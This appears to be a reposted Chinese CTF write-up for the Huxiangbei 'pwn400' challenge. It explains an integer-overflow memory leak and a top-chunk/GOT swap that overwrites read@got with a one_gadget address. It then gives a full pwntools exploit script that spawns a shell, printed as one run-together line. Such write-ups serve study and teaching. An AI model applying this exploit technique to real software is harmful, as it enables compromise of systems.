湖湘杯pwn400的wp

来源:互联网 发布:电子数据交换的应用 编辑:程序博客网 时间:2024/05/16 19:43

湖湘杯的pwn比赛很有趣,我做了pwn300的题目,感觉不错,我把wp分享出来,pwns的下载链接是: http://download.csdn.net/download/niexinming/10152069
把pwn400直接拖入ida中:
main函数:
image
Create Profile函数:
image
Print Profile函数:
image
Update Profile函数:
image
Exchange函数:
image

这个题目有点难度,我花了三天才搞定,题目的流程不难,首先创建Profile,当名字的长度小于8的时候会把数据写入bss段,数据的长度值nbytes会放入数据的后面,大于8的时候会malloc一个空间,把输入写入堆中,而指针会保存在bss段,而数据的长度值nbytes也会保存在指针的后面,更新Profile的时候也会做相同的操作,打印数据的时候会把名字输出,可以用这个功能泄露程序任意地址的任意数据,Exchange可以交换两个地址的数据,可以利用这个来getshell
先运行一下程序看一下这个程序干了啥:
image
再看看程序开启了哪些保护:
image
看到这个程序开了栈不可执行,于是肯定就会想到用rop来做
这个程序有两个地方可以利用:
(1)是创建的Profile,名字长度如果小于8就把数据写入bss段中,但是你可以输入负数,如果是负数的话,就可以造成整数溢出,你就可以在bss段中写入任意长度的数据,就可以覆盖后面的长度值nbytes为任意数值,这样你可以伪造一个任意长度的数据,在print函数中可以看到如果nbytes长度小于8就去读bss中的数据,如果nbytes大于8就会去读bss中的指针指向的数据,如果我们伪造nbytes的话就可以让print Profile函数去读任意地址的数据,通过got表可以计算出libc的基地址
(2)是Exchange函数可以交换任意两个指针,但是两个指针都是要有写权限的,程序中权限可以通过vmmap来查看
image
这个地方是难点,解决方法是:用top_chunk 指针和read@got指针进行交换,第二次堆分
配时候可以分配到我想要的位置,就可以把想要数据写入read@got中,当下回调用read的时候就可以跳到MAGIC中getshell了,关于top_chunk的介绍可以参考https://www.cnblogs.com/alisecurity/p/5486458.html,找top_chunk地址的思路可以参考 http://www.freebuf.com/articles/rookie/155971.html 这个文章
我的exp

#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *import binasciicontext(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')localMAGIC=0x5fbc6localmain_arena=0x001B2780def debug(addr = '0x08048BA6'):    raw_input('debug:')    gdb.attach(io, "b *" + addr)def base_addr(prog_addr,sysmbol,offset):    if sysmbol=='min':        return eval(prog_addr)-offset    else:        return eval(prog_addr) + offsetdef cr_up_profile(choose,name_len,name,age):    io.recvuntil('>')    io.send(choose)    io.recv()    io.sendline(name_len)    io.recvuntil('Input your name:\n')    io.sendline(name)    io.recvuntil('Input your age:\n')    io.sendline(age)def print_profile(address):    io.recvuntil(">")    io.sendline('2')    data = io.recv().splitlines()[0][11:15][::-1]    log.info("%#x => %s" % (address, (data or '').encode('hex')))    return datadef change_age(address1,address2):    io.sendline('4')    io.recvuntil('Person 1:')    io.send(p32(address1))    io.recvuntil('Person 2:')    io.send(p32(address2))def leak(address):    payload = p32(address) + 'a' * 4 + p32(10)    cr_up_profile('3','-10',payload,'10')    return print_profile(address)def getshell(address1,address2,address3):    change_age(address1,address2)    cr_up_profile('3','20',address3,'20')#libc addrlibc=ELF('/lib/i386-linux-gnu/libc.so.6')symbols = ['environ', '_environ', '__environ']for symbol in symbols:    environ = libc.symbols[symbol]print "environ:"+hex(environ)head=libc.symbols['__curbrk']print "head:"+hex(head)system=libc.symbols['system']print "system:"+hex(system)__malloc_hook=libc.got['__malloc_hook']print "__malloc_hook:"+hex(__malloc_hook)#profile addrelf = ELF('/home/h11p/hackme/huxiangbei/profile')printf_addr=elf.got['printf']puts_addr=elf.got['puts']atoi_addr=elf.got['atoi']malloc_addr=elf.got['malloc']__isoc99_scanf_addr=elf.got['__isoc99_scanf']read_addr=elf.got['read']print "printf_addr:"+hex(printf_addr)print "puts_addr:"+hex(puts_addr)print "atoi_addr:"+hex(atoi_addr)print "malloc_addr:"+hex(malloc_addr)print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr)print "read_addr:"+hex(read_addr)io = process('/home/h11p/hackme/huxiangbei/profile')#debug()#create profilecr_up_profile('1','10','a'*8,'1'*12)#leak libc baselibc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670#get libc func addrprint "libc_base:"+hex(libc_base)MAGIC_addr=libc_base+localMAGICprint "MAGIC_addr:"+hex(MAGIC_addr)environ_addr=libc_base+environprint "environ_addr:"+hex(environ_addr)head_addr=libc_base+headprint "head_addr:"+hex(head_addr)main_arena_addr=libc_base+localmain_arenaprint "main_arena_addr:"+hex(main_arena_addr)topchunk=main_arena_addr+0x30print "topchunk:"+hex(topchunk)system_addr=libc_base+systemprint "system_addr:"+hex(system_addr)__malloc_hook_addr=libc_base+__malloc_hookprint "__malloc_hook_addr:"+hex(__malloc_hook_addr)'''libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0)print "libc_start_main:"+hex(libc_start_main)head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8)print "head_addr_input:"+hex(head_addr_input)'''#getshellgetshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr))io.interactive()io.close()

效果是:
image
Ps:
寻找
MAGIC可以用one_gadget这个工具,工具地址在: https://github.com/david942j/one_gadget
image